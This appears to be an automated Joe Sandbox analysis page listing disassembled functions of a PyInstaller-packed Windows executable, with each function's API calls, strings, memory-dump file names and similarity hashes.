Function 00007FF78D281590 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 101COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF78D2815C3
malloc, xrefs: 00007FF78D281630
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF78D281629
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF78D2815F9
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF78D2816EA
fread, xrefs: 00007FF78D2816F1
fseek, xrefs: 00007FF78D281600

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 8bef44e2652224aaf932a35fa4b4b8cad718eea16d4297b766195eb36aba094f
Instruction ID: 14eeb684b19b7ea4c7edd628f4507745c658bbf3455468f8c92ebfe3b1158e9a
Opcode Fuzzy Hash: 8bef44e2652224aaf932a35fa4b4b8cad718eea16d4297b766195eb36aba094f
Instruction Fuzzy Hash: 44418121B1C55385EA21FB56A8405FAE390FF04794FE84032DE8E87A95FE3CE449C720

Function 00007FF78D28E1A8 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF78D28E205

Part of subcall function 00007FF78D28F15C: __GetUnwindTryBlock.LIBCMT ref: 00007FF78D28F19F
Part of subcall function 00007FF78D28F15C: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF78D28F1C4

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF78D28E2DD
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF78D28E52B
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF78D28E638

Strings

csm, xrefs: 00007FF78D28E21F
csm, xrefs: 00007FF78D28E300
csm, xrefs: 00007FF78D28E286

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 03165247416b49599b817d9b85094eee04c633284fb566d825991d97d15a736b
Instruction ID: a11b777cfc73aa9881500a1d3a6e9e2bfbe670f5605b169d29038e8fcfa247bf
Opcode Fuzzy Hash: 03165247416b49599b817d9b85094eee04c633284fb566d825991d97d15a736b
Instruction Fuzzy Hash: C3D1A232A0C7518AEB20AF65D4403EDB7A0FB45798FA00235EE4D97B5AEF39E059C711

Function 00007FF78D288690 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF78D28101D), ref: 00007FF78D288727
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF78D28101D), ref: 00007FF78D28877E

Strings

WideCharToMultiByte, xrefs: 00007FF78D2887C6
Failed to get UTF-8 buffer size., xrefs: 00007FF78D2887BF
win32_utils_to_utf8, xrefs: 00007FF78D2887B6
Out of memory., xrefs: 00007FF78D2887AF
Failed to encode wchar_t as UTF-8., xrefs: 00007FF78D2887A6

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: 5b224e73f4566dd0c11e8382179e3e278c7631b7d1868ae6aef34a57db9da9fe
Instruction ID: 298872a98de7a4be5d8897fa23f505607d70a4e302226524e8c089ccf4ca02c7
Opcode Fuzzy Hash: 5b224e73f4566dd0c11e8382179e3e278c7631b7d1868ae6aef34a57db9da9fe
Instruction Fuzzy Hash: 9A417436A0CB8282E620EF56B8401B9F6A1FF847A0FA44135DA8D87B95FF3CD459D714

Function 00007FF78D288BD0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF78D28399A), ref: 00007FF78D288C13

Part of subcall function 00007FF78D282980: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF78D2887D2,?,?,?,?,?,?,?,?,?,?,?,00007FF78D28101D), ref: 00007FF78D2829B4
Part of subcall function 00007FF78D282980: MessageBoxW.USER32 ref: 00007FF78D282A92

WideCharToMultiByte.KERNEL32(?,00007FF78D28399A), ref: 00007FF78D288C87

Strings

WideCharToMultiByte, xrefs: 00007FF78D288C27, 00007FF78D288C98
Failed to get UTF-8 buffer size., xrefs: 00007FF78D288C20
win32_utils_to_utf8, xrefs: 00007FF78D288C54
Out of memory., xrefs: 00007FF78D288C4D
Failed to encode wchar_t as UTF-8., xrefs: 00007FF78D288C91

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: 5aa3d287d23361307e6fe3680a43ecdc8faa716d6ba1de618cd6057f05c20585
Instruction ID: 9289464f18d403640b675436302eb89f4a3ed5cf24fb8043ec49ac7a0b1a1e29
Opcode Fuzzy Hash: 5aa3d287d23361307e6fe3680a43ecdc8faa716d6ba1de618cd6057f05c20585
Instruction Fuzzy Hash: 1C215162A0DB4285EA14EF16AC400A9F6A1FF84BA0BA44236D64D87795FF3CE459C324

Function 00007FF78D287580 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 136COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF78D2876F6

Part of subcall function 00007FF78D28F8B0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78D28F8C4

Part of subcall function 00007FF78D28F884: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78D28F898

Strings

WARNING: file already exists but should not: %s, xrefs: 00007FF78D287678
\, xrefs: 00007FF78D2875CC
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF78D287612
%s%c%s, xrefs: 00007FF78D2875C5
ERROR: file already exists but should not: %s, xrefs: 00007FF78D28765C

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_fread_nolock
String ID: %s%c%s$ERROR: file already exists but should not: %s$PYINSTALLER_STRICT_UNPACK_MODE$WARNING: file already exists but should not: %s$\
API String ID: 3231891352-3501660386
Opcode ID: 2829f6b9cd81562e15a9f9b2fa050eb2fc0a8e22066e07a6e1b824af1239e5f8
Instruction ID: a6d1475fcd216c2a16e1cefe9643fa51536540daa34f3ab8086cc43c02794207
Opcode Fuzzy Hash: 2829f6b9cd81562e15a9f9b2fa050eb2fc0a8e22066e07a6e1b824af1239e5f8
Instruction Fuzzy Hash: 3D519E21E0D65345FA10BB25A9502F9D291BF88BD0FE84131EA0EC76D6FE6CE408C370

Function 00007FF78D28D468 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF78D28D71A,?,?,?,00007FF78D28D40C,?,?,?,00007FF78D28D001), ref: 00007FF78D28D4ED
GetLastError.KERNEL32(?,?,?,00007FF78D28D71A,?,?,?,00007FF78D28D40C,?,?,?,00007FF78D28D001), ref: 00007FF78D28D4FB
LoadLibraryExW.KERNEL32(?,?,?,00007FF78D28D71A,?,?,?,00007FF78D28D40C,?,?,?,00007FF78D28D001), ref: 00007FF78D28D525
FreeLibrary.KERNEL32(?,?,?,00007FF78D28D71A,?,?,?,00007FF78D28D40C,?,?,?,00007FF78D28D001), ref: 00007FF78D28D593
GetProcAddress.KERNEL32(?,?,?,00007FF78D28D71A,?,?,?,00007FF78D28D40C,?,?,?,00007FF78D28D001), ref: 00007FF78D28D59F

Strings

api-ms-, xrefs: 00007FF78D28D50D

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: db798b1413482f77ea5089a2b1ad6faeb4af4b975811b638dfae5b17ad09b174
Instruction ID: 6ff4ab3cee8196cc46dc7398fd8fc4e43e7f2a17018bf813e265bef5effc53e2
Opcode Fuzzy Hash: db798b1413482f77ea5089a2b1ad6faeb4af4b975811b638dfae5b17ad09b174
Instruction Fuzzy Hash: 9531B421A1E74199FE52BB06A4005F5A3A4FF44BA4FA90636DD1D86B50FF7CE44CC720

Function 00007FF78D287400 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78D288AC0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF78D282A5B), ref: 00007FF78D288AFC

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF78D287981,00000000,?,00000000,00000000,?,00007FF78D28153A), ref: 00007FF78D28745F

Part of subcall function 00007FF78D282AD0: MessageBoxW.USER32 ref: 00007FF78D282BA7

Strings

LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF78D2874BA
LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF78D287473
LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF78D287436

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: 0c21cab57409285c95162528275e13758cc288b2fe06dfd70ca82cc332ed0583
Instruction ID: d4cbf39bc8da5cb3f6e885d9a2093eda14a33162318e489cbd60c1b72573a07a
Opcode Fuzzy Hash: 0c21cab57409285c95162528275e13758cc288b2fe06dfd70ca82cc332ed0583
Instruction Fuzzy Hash: 7C315411B1C78290FA24B72595553FAD291FF98790FE44436DA4E836D6FE2CE50DC720

Function 00007FF78D288AC0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF78D282A5B), ref: 00007FF78D288AFC

Part of subcall function 00007FF78D282980: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF78D2887D2,?,?,?,?,?,?,?,?,?,?,?,00007FF78D28101D), ref: 00007FF78D2829B4
Part of subcall function 00007FF78D282980: MessageBoxW.USER32 ref: 00007FF78D282A92

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF78D282A5B), ref: 00007FF78D288B82

Strings

Out of memory., xrefs: 00007FF78D288B44
MultiByteToWideChar, xrefs: 00007FF78D288B10, 00007FF78D288B93
Failed to decode wchar_t from UTF-8, xrefs: 00007FF78D288B8C
win32_utils_from_utf8, xrefs: 00007FF78D288B4B
Failed to get wchar_t buffer size., xrefs: 00007FF78D288B09

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: 569a3a0bb50e340582efbb4c8282487b1b1ac25687224f09c7c92698c85accec
Instruction ID: d330176b59426ec31ca3cca04e31938074236052aea5c6a0ea3931e67d2e8da6
Opcode Fuzzy Hash: 569a3a0bb50e340582efbb4c8282487b1b1ac25687224f09c7c92698c85accec
Instruction Fuzzy Hash: A6216562B0CA4281EB50EB2AF8001A5D3A1FF847E4BA84271DB5CC7BA9FE2CD555C714

Function 00007FF78D29AC70 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF78D29AC7F
FlsGetValue.KERNEL32 ref: 00007FF78D29AC94
FlsSetValue.KERNEL32 ref: 00007FF78D29ACB5
FlsSetValue.KERNEL32 ref: 00007FF78D29ACE2
FlsSetValue.KERNEL32 ref: 00007FF78D29ACF3
FlsSetValue.KERNEL32 ref: 00007FF78D29AD04
SetLastError.KERNEL32 ref: 00007FF78D29AD1F

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 14d0baa0b95caf07c4e0bbc42f25fdbe8ef0a3a191e623bdf63a3244774f8a07
Instruction ID: 01b733ff9c14edd236465756032a807eefb7df9e42f04838eff1e168b9327915
Opcode Fuzzy Hash: 14d0baa0b95caf07c4e0bbc42f25fdbe8ef0a3a191e623bdf63a3244774f8a07
Instruction Fuzzy Hash: 9D218E30A0D30262FA5873225641AF9E143BF487B0FB40675E83E0B6D6FE6CA809C671

Function 00007FF78D2A7B1C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF78D2A7B4D
GetLastError.KERNEL32 ref: 00007FF78D2A7B59
CloseHandle.KERNEL32 ref: 00007FF78D2A7B71
CreateFileW.KERNEL32 ref: 00007FF78D2A7B9C
WriteConsoleW.KERNEL32 ref: 00007FF78D2A7BBB

Strings

CONOUT$, xrefs: 00007FF78D2A7B7D

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 602518a18d393104b7af58d0c9dfb9dd1af259050acc0f5788d8a7a4dbea96a7
Instruction ID: c2f56d975713f3a98cb96be1e3d235b44e7135843a7104e707489ba6dd5c6f60
Opcode Fuzzy Hash: 602518a18d393104b7af58d0c9dfb9dd1af259050acc0f5788d8a7a4dbea96a7
Instruction Fuzzy Hash: DA11BE31A1CA4186E350AB12E844369B7A0FB88BF4FA04235EA1D87794EF7CD808C720

Function 00007FF78D29ADE8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF78D29498D,?,?,?,?,00007FF78D29E71F,?,?,00000000,00007FF78D29AF06,?,?,?), ref: 00007FF78D29ADF7
FlsSetValue.KERNEL32(?,?,?,00007FF78D29498D,?,?,?,?,00007FF78D29E71F,?,?,00000000,00007FF78D29AF06,?,?,?), ref: 00007FF78D29AE2D
FlsSetValue.KERNEL32(?,?,?,00007FF78D29498D,?,?,?,?,00007FF78D29E71F,?,?,00000000,00007FF78D29AF06,?,?,?), ref: 00007FF78D29AE5A
FlsSetValue.KERNEL32(?,?,?,00007FF78D29498D,?,?,?,?,00007FF78D29E71F,?,?,00000000,00007FF78D29AF06,?,?,?), ref: 00007FF78D29AE6B
FlsSetValue.KERNEL32(?,?,?,00007FF78D29498D,?,?,?,?,00007FF78D29E71F,?,?,00000000,00007FF78D29AF06,?,?,?), ref: 00007FF78D29AE7C
SetLastError.KERNEL32(?,?,?,00007FF78D29498D,?,?,?,?,00007FF78D29E71F,?,?,00000000,00007FF78D29AF06,?,?,?), ref: 00007FF78D29AE97

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 0971e8246ab79127b01b81eb34e60d36bbba17a0b985dc7b38d6add9465c3949
Instruction ID: 8e8258c995e7cd8e15019552f750ff654c188a3373367b10014b6382f67ca245
Opcode Fuzzy Hash: 0971e8246ab79127b01b81eb34e60d36bbba17a0b985dc7b38d6add9465c3949
Instruction Fuzzy Hash: 9F118E30E0D34262FA14732656419F9E2437F887B0FF44675E87E076D6FE6CA409C621

Function 00007FF78D2825A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00007FF78D28278F), ref: 00007FF78D2825D8
DialogBoxIndirectParamW.USER32 ref: 00007FF78D28269E
DeleteObject.GDI32 ref: 00007FF78D2826D1
DestroyIcon.USER32 ref: 00007FF78D2826E3

Strings

Unhandled exception in script, xrefs: 00007FF78D282608

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: e828a337e5557290b2cacd88c5835232c0810b148a810edc086e362c1d8f1423
Instruction ID: c5db260c7657cd6028440ad64c5d46d1536c9cd6273a712f0edab9574920c06b
Opcode Fuzzy Hash: e828a337e5557290b2cacd88c5835232c0810b148a810edc086e362c1d8f1423
Instruction Fuzzy Hash: 35316472A0C68689EB20FF62E8551F9A3A0FF88794F940135EA4E47B59EF3CD149C710

Function 00007FF78D282980 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,00000000,00007FF78D2887D2,?,?,?,?,?,?,?,?,?,?,?,00007FF78D28101D), ref: 00007FF78D2829B4

Part of subcall function 00007FF78D288540: GetLastError.KERNEL32(00000000,00007FF78D2829FE,?,?,?,?,?,?,?,?,?,?,?,00007FF78D28101D), ref: 00007FF78D288567
Part of subcall function 00007FF78D288540: FormatMessageW.KERNEL32 ref: 00007FF78D288596

Part of subcall function 00007FF78D288AC0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF78D282A5B), ref: 00007FF78D288AFC

MessageBoxW.USER32 ref: 00007FF78D282A92
MessageBoxA.USER32 ref: 00007FF78D282AAE

Strings

Fatal error detected, xrefs: 00007FF78D282A66, 00007FF78D282AA0
%s%s: %s, xrefs: 00007FF78D282A0B

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Message$ErrorLast$ByteCharFormatMultiWide
String ID: %s%s: %s$Fatal error detected
API String ID: 2806210788-2410924014
Opcode ID: 1613ef41bf8c47c44cd3ccf2d9b3981d71dae2d9e94bb07637b4013b0df61aad
Instruction ID: 1a6f24724d21443e907b3a4172ac1bfb975c556b70507f7865d5169c61dce233
Opcode Fuzzy Hash: 1613ef41bf8c47c44cd3ccf2d9b3981d71dae2d9e94bb07637b4013b0df61aad
Instruction Fuzzy Hash: EB31437262C68291E730FB11F4516EAA364FF84794F904136EA8D43A99EF3CD309CB50

Function 00007FF78D299578 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF78D29959D
GetProcAddress.KERNEL32 ref: 00007FF78D2995B3
FreeLibrary.KERNEL32 ref: 00007FF78D2995DA

Strings

CorExitProcess, xrefs: 00007FF78D2995AC
mscoree.dll, xrefs: 00007FF78D299594

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f57c53229bdeaa6966b15db51e8fef29554399fb0af5e3202854f085e296083c
Instruction ID: 2e01d2aa6f332388043c91017c7f2b9c6ee5cee0ada5d873b86851b219ff1385
Opcode Fuzzy Hash: f57c53229bdeaa6966b15db51e8fef29554399fb0af5e3202854f085e296083c
